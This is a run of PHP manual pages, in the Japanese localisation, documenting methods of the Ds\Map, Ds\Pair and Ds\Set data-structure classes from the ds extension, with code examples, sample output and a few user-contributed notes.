$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->reduce(function($carry, $key, $value) {
    return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 =  6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

上の例の出力は、 たとえば以下のようになります。

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by key

  • ≪ Ds\Map::reduce
  • Ds\Map::reverse ≫
  • PHP Manual
  • Map
  • Removes and returns a value by key

Ds\Map::remove

(PECL ds >= 1.0.0)

Ds\Map::remove — Removes and returns a value by key

説明

public Ds\Map::remove ( mixed $key , mixed $default = ? ) : mixed

Removes and returns a value by key, or return an optional default value if the key could not be found.

注意:

Keys of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

注意:

You can also use array syntax to access values by key, eg. $map["key"].

警告

Be careful when using array syntax. Scalar keys will be coerced to integers by the engine. For example, $map["1"] will attempt to access int(1), while $map->get("1") will correctly look up the string key.

See Arrays.

パラメータ

key

The key to remove.

default

The optional default value, returned if the key could not be found.

返り値

The value that was removed, or the default value if provided and the key could not be found in the map.

エラー / 例外

OutOfBoundsException if the key could not be found and a default value was not provided.

例

例1 Ds\Map::remove() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->remove("a"));      //  1
var_dump($map->remove("e", 10));  // 10 (default used)
?>

上の例の出力は、 たとえば以下のようになります。

int(1)
int(10)

User Contributed Notes

carlo dot revelli at berkeley dot edu 24-Nov-2019 11:05
Note the syntax

<?php

unset($map[$key]);

?>

is also valid and ran 2x faster on my machine


Reverses the map in-place

  • ≪ Ds\Map::remove
  • Ds\Map::reversed ≫
  • PHP Manual
  • Map
  • Reverses the map in-place

Ds\Map::reverse

(PECL ds >= 1.0.0)

Ds\Map::reverse — Reverses the map in-place

説明

public Ds\Map::reverse ( ) : void

Reverses the map in-place.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Map::reverse() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->reverse();

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ≪ Ds\Map::reverse
  • Ds\Map::skip ≫
  • PHP Manual
  • Map
  • Returns a reversed copy

Ds\Map::reversed

(PECL ds >= 1.0.0)

Ds\Map::reversed — Returns a reversed copy

説明

public Ds\Map::reversed ( ) : Ds\Map

Returns a reversed copy of the map.

パラメータ

この関数にはパラメータはありません。

返り値

A reversed copy of the map.

注意:

The current instance is not affected.

例

例1 Ds\Map::reversed() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->reversed());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the pair at a given positional index

  • ≪ Ds\Map::reversed
  • Ds\Map::slice ≫
  • PHP Manual
  • Map
  • Returns the pair at a given positional index

Ds\Map::skip

(PECL ds >= 1.0.0)

Ds\Map::skip — Returns the pair at a given positional index

説明

public Ds\Map::skip ( int $position ) : Ds\Pair

Returns the pair at a given zero-based position.

パラメータ

position

The zero-based positional index to return.

返り値

Returns the Ds\Pair at the given position.

エラー / 例外

OutOfRangeException if the position is not valid.

例

例1 Ds\Map::skip() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->skip(1));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "b"
  ["value"]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a subset of the map defined by a starting index and length

  • ≪ Ds\Map::skip
  • Ds\Map::sort ≫
  • PHP Manual
  • Map
  • Returns a subset of the map defined by a starting index and length

Ds\Map::slice

(PECL ds >= 1.0.0)

Ds\Map::slice — Returns a subset of the map defined by a starting index and length

説明

public Ds\Map::slice ( int $index , int $length = ? ) : Ds\Map

Returns a subset of the map defined by a starting index and length.

パラメータ

index

The index at which the range starts.

If positive, the range will start at that index in the map. If negative, the range will start that far from the end.

length

If a length is given and is positive, the resulting map will have up to that many pairs in it. If a length is given and is negative, the range will stop that many pairs from the end. If the length results in an overflow, only pairs up to the end of the map will be included. If a length is not provided, the resulting map will contain all pairs between the index and the end of the map.

返り値

A subset of the map defined by a starting index and length.

例

例1 Ds\Map::slice() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3, "d" => 4, "e" => 5]);

// Slice from 2 onwards
print_r($map->slice(2)->toArray());

// Slice from 1, for a length of 3
print_r($map->slice(1, 3)->toArray());

// Slice from 1 onwards
print_r($map->slice(1)->toArray());

// Slice from 2 from the end onwards
print_r($map->slice(-2)->toArray());

// Slice from 1 to 1 from the end
print_r($map->slice(1, -1)->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the map in-place by value

  • ≪ Ds\Map::slice
  • Ds\Map::sorted ≫
  • PHP Manual
  • Map
  • Sorts the map in-place by value

Ds\Map::sort

(PECL ds >= 1.0.0)

Ds\Map::sort — Sorts the map in-place by value

説明

public Ds\Map::sort ( callable $comparator = ? ) : void

Sorts the map in-place by value, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Map::sort() example

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);
$map->sort();

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

例2 Ds\Map::sort() example using a comparator

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

$map->sort(function($a, $b) {
    return $b <=> $a;
});

print_r($map);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a copy, sorted by value

  • ≪ Ds\Map::sort
  • Ds\Map::sum ≫
  • PHP Manual
  • Map
  • Returns a copy, sorted by value

Ds\Map::sorted

(PECL ds >= 1.0.0)

Ds\Map::sorted — Returns a copy, sorted by value

説明

public Ds\Map::sorted ( callable $comparator = ? ) : Ds\Map

Returns a copy, sorted by value using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a copy of the map, sorted by value.

例

例1 Ds\Map::sort() example

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

print_r($map->sorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

例2 Ds\Map::sort() example using a comparator

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

// Reverse
$sorted = $map->sorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the map

  • ≪ Ds\Map::sorted
  • Ds\Map::toArray ≫
  • PHP Manual
  • Map
  • Returns the sum of all values in the map

Ds\Map::sum

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ds\Map::sum — Returns the sum of all values in the map

説明

public Ds\Map::sum ( ) : int|float

Returns the sum of all values in the map.

注意:

Arrays and objects are considered equal to zero when calculating the sum.

パラメータ

この関数にはパラメータはありません。

返り値

The sum of all the values in the map as either a float or int depending on the values in the map.

例

例1 Ds\Map::sum() integer example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->sum());
?>

上の例の出力は、 たとえば以下のようになります。

int(6)

例2 Ds\Map::sum() float example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2.5, "c" => 3]);
var_dump($map->sum());
?>

上の例の出力は、 たとえば以下のようになります。

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the map to an array

  • ≪ Ds\Map::sum
  • Ds\Map::union ≫
  • PHP Manual
  • Map
  • Converts the map to an array

Ds\Map::toArray

(PECL ds >= 1.0.0)

Ds\Map::toArray — Converts the map to an array

説明

public Ds\Map::toArray ( ) : array

Converts the map to an array.

警告

Maps where non-scalar keys are can't be converted to an array.

警告

An array will treat all numeric keys as integers, eg. "1" and 1 as keys in the map will only result in 1 being included in the array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the map.

例

例1 Ds\Map::toArray() example

<?php
$map = new \Ds\Map([
    "a" => 1,
    "b" => 2,
    "c" => 3,
]);

var_dump($map->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}

User Contributed Notes

foalford at gmail dot com 07-Jul-2020 06:57
When using Hashable object as $key, Map::put() will not call the Hashable::hash() on the key until later. For example

<?
class Key implements \Ds\Hashable
{
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
    }

    public function equals($obj) : bool
    {
        return $this->id == $obj->id;
    }

    public function hash()
    {
        return $this->id;
    }
}
$map = new \Ds\Map();
$myki = new Key('myki');

$map->put($myki, "Value String");

var_dump($map->get($myki));
echo 'Map::put() store the Hashable object and it cause error in toArray()'. PHP_EOL;
var_dump($map->toArray());
?>


Creates a new map using values from the current instance and another map

  • ≪ Ds\Map::toArray
  • Ds\Map::values ≫
  • PHP Manual
  • Map
  • Creates a new map using values from the current instance and another map

Ds\Map::union

(PECL ds >= 1.0.0)

Ds\Map::union — Creates a new map using values from the current instance and another map

説明

public Ds\Map::union ( Ds\Map $map ) : Ds\Map

Creates a new map that contains the pairs of the current instance as well as the pairs of another map.

A ∪ B = {x: x ∈ A ∨ x ∈ B}

注意:

Values of the current instance will be overwritten by those provided where keys are equal.

パラメータ

map

The other map, to combine with the current instance.

返り値

A new map containing all the pairs of the current instance as well as another map.

See Also

  • » Union on Wikipedia

例

例1 Ds\Map::union() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 3, "c" => 4, "d" => 5]);

print_r($a->union($b));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 4
        )

    [3] => Ds\Pair Object
        (
            [key] => d
            [value] => 5
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sequence of the map's values

  • ≪ Ds\Map::union
  • Ds\Map::xor ≫
  • PHP Manual
  • Map
  • Returns a sequence of the map's values

Ds\Map::values

(PECL ds >= 1.0.0)

Ds\Map::values — Returns a sequence of the map's values

説明

public Ds\Map::values ( ) : Ds\Sequence

Returns a sequence containing all the values of the map, in the same order.

パラメータ

この関数にはパラメータはありません。

返り値

A Ds\Sequence containing all the values of the map.

例

例1 Ds\Map::values() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->values());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using keys of either the current instance or of another map, but not of both

  • ≪ Ds\Map::values
  • Pair ≫
  • PHP Manual
  • Map
  • Creates a new map using keys of either the current instance or of another map, but not of both

Ds\Map::xor

(PECL ds >= 1.0.0)

Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both

説明

public Ds\Map::xor ( Ds\Map $map ) : Ds\Map

Creates a new map containing keys of the current instance as well as another map, but not of both.

A ? B = {x : x ∈ (A \ B) ∪ (B \ A)}

パラメータ

map

The other map.

返り値

A new map containing keys in the current instance as well as another map, but not in both.

See Also

  • » Symmetric Difference on Wikipedia

例

例1 Ds\Map::xor() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

print_r($a->xor($b));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => d
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


The Pair class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A pair is used by Ds\Map to pair keys with values.

クラス概要

Ds\Pair implements JsonSerializable {
/* メソッド */
public __construct ( mixed $key = ? , mixed $value = ? )
public clear ( ) : void
public copy ( ) : Ds\Pair
public isEmpty ( ) : bool
public toArray ( ) : array
}

目次

  • Ds\Pair::clear — Removes all values
  • Ds\Pair::__construct — Creates a new instance
  • Ds\Pair::copy — Returns a shallow copy of the pair
  • Ds\Pair::isEmpty — Returns whether the pair is empty
  • Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Pair::toArray — Converts the pair to an array

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Pair
  • Ds\Pair::__construct ≫
  • PHP Manual
  • Pair
  • Removes all values

Ds\Pair::clear

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ds\Pair::clear — Removes all values

説明

public Ds\Pair::clear ( ) : void

Removes all values from the pair.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Pair::clear() example

<?php
$pair = new \Ds\Pair("a", 1);
print_r($pair);

$pair->clear();
print_r($pair);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Pair Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Pair Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Pair::clear
  • Ds\Pair::copy ≫
  • PHP Manual
  • Pair
  • Creates a new instance

Ds\Pair::__construct

(PECL ds >= 1.0.0)

Ds\Pair::__construct — Creates a new instance

説明

public Ds\Pair::__construct ( mixed $key = ? , mixed $value = ? )

Creates a new instance using a given key and value.

パラメータ

key

The key.

value

The value.

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the pair

  • ≪ Ds\Pair::__construct
  • Ds\Pair::isEmpty ≫
  • PHP Manual
  • Pair
  • Returns a shallow copy of the pair

Ds\Pair::copy

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ds\Pair::copy — Returns a shallow copy of the pair

説明

public Ds\Pair::copy ( ) : Ds\Pair

Returns a shallow copy of the pair.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the pair.

例

例1 Ds\Pair::copy() example

<?php
$a = new \Ds\Pair("a", 1);
$b = $a->copy();

$a->key = "x";

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Pair Object
(
    [key] => x
    [value] => 1
)
Ds\Pair Object
(
    [key] => a
    [value] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the pair is empty

  • ≪ Ds\Pair::copy
  • Ds\Pair::jsonSerialize ≫
  • PHP Manual
  • Pair
  • Returns whether the pair is empty

Ds\Pair::isEmpty

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ds\Pair::isEmpty — Returns whether the pair is empty

説明

public Ds\Pair::isEmpty ( ) : bool

Returns whether the pair is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the pair is empty, false otherwise.

例

例1 Ds\Pair::isEmpty() example

<?php
$a = new \Ds\Pair("a", 1);
$b = new \Ds\Pair();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Pair::isEmpty
  • Ds\Pair::toArray ≫
  • PHP Manual
  • Pair
  • Returns a representation that can be converted to JSON

Ds\Pair::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Converts the pair to an array

  • ≪ Ds\Pair::jsonSerialize
  • Set ≫
  • PHP Manual
  • Pair
  • Converts the pair to an array

Ds\Pair::toArray

(PECL ds >= 1.0.0)

Ds\Pair::toArray — Converts the pair to an array

説明

public Ds\Pair::toArray ( ) : array

Converts the pair to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the pair.

例

例1 Ds\Pair::toArray() example

<?php
$pair = new \Ds\Pair("a", 1);

var_dump($pair->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


The Set class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Set is a sequence of unique values. This implementation uses the same hash table as Ds\Map, where values are used as keys and the mapped value is ignored.

Strengths

  • Values can be any type, including objects.
  • Supports array syntax (square brackets).
  • Insertion order is preserved.
  • Automatically frees allocated memory when its size drops low enough.
  • add(),
remove() and
contains() are all O(1).

Weaknesses

  • Doesn't support
                push(),
                pop(),
                insert(),
                shift(), or
                unshift().
  • get() is O(n) if there are deleted values in the buffer before the accessed index, O(1) otherwise.

クラス概要

Ds\Set implements Ds\Collection , ArrayAccess {
/* Constants */
const int MIN_CAPACITY = 16 ;
/* メソッド */
public add ( mixed ...$values ) : void
public allocate ( int $capacity ) : void
public capacity ( ) : int
public clear ( ) : void
public contains ( mixed ...$values ) : bool
public copy ( ) : Ds\Set
public diff ( Ds\Set $set ) : Ds\Set
public filter ( callable $callback = ? ) : Ds\Set
public first ( ) : mixed
public get ( int $index ) : mixed
public intersect ( Ds\Set $set ) : Ds\Set
public isEmpty ( ) : bool
public join ( string $glue = ? ) : string
public last ( ) : mixed
public merge ( mixed $values ) : Ds\Set
public reduce ( callable $callback , mixed $initial = ? ) : mixed
public remove ( mixed ...$values ) : void
public reverse ( ) : void
public reversed ( ) : Ds\Set
public slice ( int $index , int $length = ? ) : Ds\Set
public sort ( callable $comparator = ? ) : void
public sorted ( callable $comparator = ? ) : Ds\Set
public sum ( ) : int|float
public toArray ( ) : array
public union ( Ds\Set $set ) : Ds\Set
public xor ( Ds\Set $set ) : Ds\Set
}

定義済み定数

Ds\Set::MIN_CAPACITY

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Set::add — Adds values to the set
  • Ds\Set::allocate — Allocates enough memory for a required capacity
  • Ds\Set::capacity — Returns the current capacity
  • Ds\Set::clear — Removes all values
  • Ds\Set::__construct — Creates a new instance
  • Ds\Set::contains — Determines if the set contains all values
  • Ds\Set::copy — Returns a shallow copy of the set
  • Ds\Set::count — Returns the number of values in the set
  • Ds\Set::diff — Creates a new set using values that aren't in another set
  • Ds\Set::filter — Creates a new set using a callable to determine which values to include
  • Ds\Set::first — Returns the first value in the set
  • Ds\Set::get — Returns the value at a given index
  • Ds\Set::intersect — Creates a new set by intersecting values with another set
  • Ds\Set::isEmpty — Returns whether the set is empty
  • Ds\Set::join — Joins all values together as a string
  • Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Set::last — Returns the last value in the set
  • Ds\Set::merge — Returns the result of adding all given values to the set
  • Ds\Set::reduce — Reduces the set to a single value using a callback function
  • Ds\Set::remove — Removes all given values from the set
  • Ds\Set::reverse — Reverses the set in-place
  • Ds\Set::reversed — Returns a reversed copy
  • Ds\Set::slice — Returns a sub-set of a given range
  • Ds\Set::sort — Sorts the set in-place
  • Ds\Set::sorted — Returns a sorted copy
  • Ds\Set::sum — Returns the sum of all values in the set
  • Ds\Set::toArray — Converts the set to an array
  • Ds\Set::union — Creates a new set using values from the current instance and another set
  • Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both

User Contributed Notes

rtheunissen at php dot net 04-Jul-2018 03:08
Lookups by value are O(1), lookups by index are O(n) if there are deleted values before the index, O(1) otherwise.
Anonymous 01-Feb-2018 01:49
Lookup for a Set should be O(1). This is true for sets and hashtables (eg maps) in any language.

The way this is possible is that sets store values differently than arrays.

In an array values are stored sequentially based on what their place is in the array and where that array is in memory, so to find your item you need to scan through the array sequentially to find your item (unless it's a sorted array, then you can use binary search at O(logn)).

Sets declare a block of memory, like an array, but instead of putting items in memory in sequence, like an array, they determine the index of the item to add by running the item through a hash function (essentially a function that takes in an object and returns an evenly distributed, very large random number), and then modulousing the result of that hash function by the size of the memory block they have.

So, when you call contains($needle, $mySetHaystack), php will take $needle, and feed it into a hashfunction, which will return a big number like 9283472378, then it takes the length of $mySetHaystack (let's say 31), and does 9283472378 % 31 = 28, so it checks the 28th index of $mySetHaystack to see if $needle is there. Everything in this list of operations is independent of the size of $mySetHaystack, hence the perf being O(1).

If a hash function returns the same value for two different items (a hash collision, which totally happens), or if the modulo of that value is the same, then an array of values is stored in the set at that index. Since sets don't allow duplicate values, this happens rarely and is negligible from a perf perspective.

You should check out the wikipedia page on hash tables (similar to sets), as there are lots of pictures that will make this concept easier to understand.
vdavila dot sm at gmail dot com 15-Oct-2017 02:07
I have a question is contains() a O(1)? and why?


Adds values to the set

  • ≪ Set
  • Ds\Set::allocate ≫
  • PHP Manual
  • Set
  • Adds values to the set

Ds\Set::add

(PECL ds >= 1.0.0)

Ds\Set::add — Adds values to the set

説明

public Ds\Set::add ( mixed ...$values ) : void

Adds all given values to the set that haven't already been added.

注意:

Values of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

警告

All comparisons are strict (type and value).

パラメータ

values

Values to add to the set.

返り値

値を返しません。

例

例1 Ds\Set::add() example using integers

<?php
$set = new \Ds\Set();

$set->add(1);
$set->add(1);
$set->add(2);
$set->add(3);

// Strict comparison would not treat these the same as int(1)
$set->add("1");
$set->add(true);

var_dump($set);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#1 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  string(1) "1"
  [4]=>
  bool(true)
}

例2 Ds\Set::add() example using objects

<?php
class HashableObject implements \Ds\Hashable
{
    /**
     * An arbitrary value to use as the hash value. Does not define equality.
     */
    private $value;

    public function __construct($value)
    {
        $this->value = $value;
    }

    public function hash()
    {
        return $this->value;
    }

    public function equals($obj): bool
    {
        return $this->value === $obj->value;
    }
}

$set = new \Ds\Set();

$obj = new \ArrayIterator([]);

// Adding the same instance multiple times will only add the first.
$set->add($obj);
$set->add($obj);

// Adding multiple instances of the same object will add them all.
$set->add(new \stdClass());
$set->add(new \stdClass());

// Adding multiple instances of equal hashable objects will only add the first.
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(2));
$set->add(new \HashableObject(2));

var_dump($set);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#1 (5) {
  [0]=>
  object(ArrayIterator)#2 (1) {
    ["storage":"ArrayIterator":private]=>
    array(0) {
    }
  }
  [1]=>
  object(stdClass)#3 (0) {
  }
  [2]=>
  object(stdClass)#4 (0) {
  }
  [3]=>
  object(HashableObject)#5 (1) {
    ["value":"HashableObject":private]=>
    int(1)
  }
  [4]=>
  object(HashableObject)#6 (1) {
    ["value":"HashableObject":private]=>
    int(2)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Ds\Set::add
  • Ds\Set::capacity ≫
  • PHP Manual
  • Set
  • Allocates enough memory for a required capacity

Ds\Set::allocate

(PECL ds >= 1.0.0)

Ds\Set::allocate — Allocates enough memory for a required capacity

説明

public Ds\Set::allocate ( int $capacity ) : void

Allocates enough memory for a required capacity.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

注意:

Capacity will always be rounded up to the nearest power of 2.

返り値

値を返しません。

例

例1 Ds\Set::allocate() example

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->allocate(100);
var_dump($set->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Set::allocate
  • Ds\Set::clear ≫
  • PHP Manual
  • Set
  • Returns the current capacity

Ds\Set::capacity

(PECL ds >= 1.0.0)

Ds\Set::capacity — Returns the current capacity

説明

public Ds\Set::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Set::capacity() example

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->push(...range(1, 50));
var_dump($set->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(16)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\Set::capacity
  • Ds\Set::__construct ≫
  • PHP Manual
  • Set
  • Removes all values

Ds\Set::clear

(PECL ds >= 1.0.0)

Ds\Set::clear — Removes all values

説明

public Ds\Set::clear ( ) : void

Removes all values from the set.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Set::clear() example

<?php
$set = new \Ds\Set([1, 2, 3]);
print_r($set);

$set->clear();
print_r($set);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Set::clear
  • Ds\Set::contains ≫
  • PHP Manual
  • Set
  • Creates a new instance

Ds\Set::__construct

(PECL ds >= 1.0.0)

Ds\Set::__construct — Creates a new instance

説明

public Ds\Set::__construct ( mixed ...$values )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Set::__construct() example

<?php
$set = new \Ds\Set();
var_dump($set);

$set = new \Ds\Set([1, 2, 3]);
var_dump($set);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Set)#1 (0) {
}
object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the set contains all values

  • ≪ Ds\Set::__construct
  • Ds\Set::copy ≫
  • PHP Manual
  • Set
  • Determines if the set contains all values

Ds\Set::contains

(PECL ds >= 1.0.0)

Ds\Set::contains — Determines if the set contains all values

説明

public Ds\Set::contains ( mixed ...$values ) : bool

Determines if the set contains all values.

注意:

Values of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

警告

All comparisons are strict (type and value).

パラメータ

values

Values to check.

返り値

false if any of the provided values are not in the set, true otherwise.

例

例1 Ds\Set::contains() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->contains(1));                // true
var_dump($set->contains(1, 2));             // true
var_dump($set->contains(...[1, 2]));        // true

var_dump($set->contains("1"));              // false
var_dump($set->contains(...[1, 2, 3, 4]));  // false

var_dump($set->contains(...[]));            // true
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


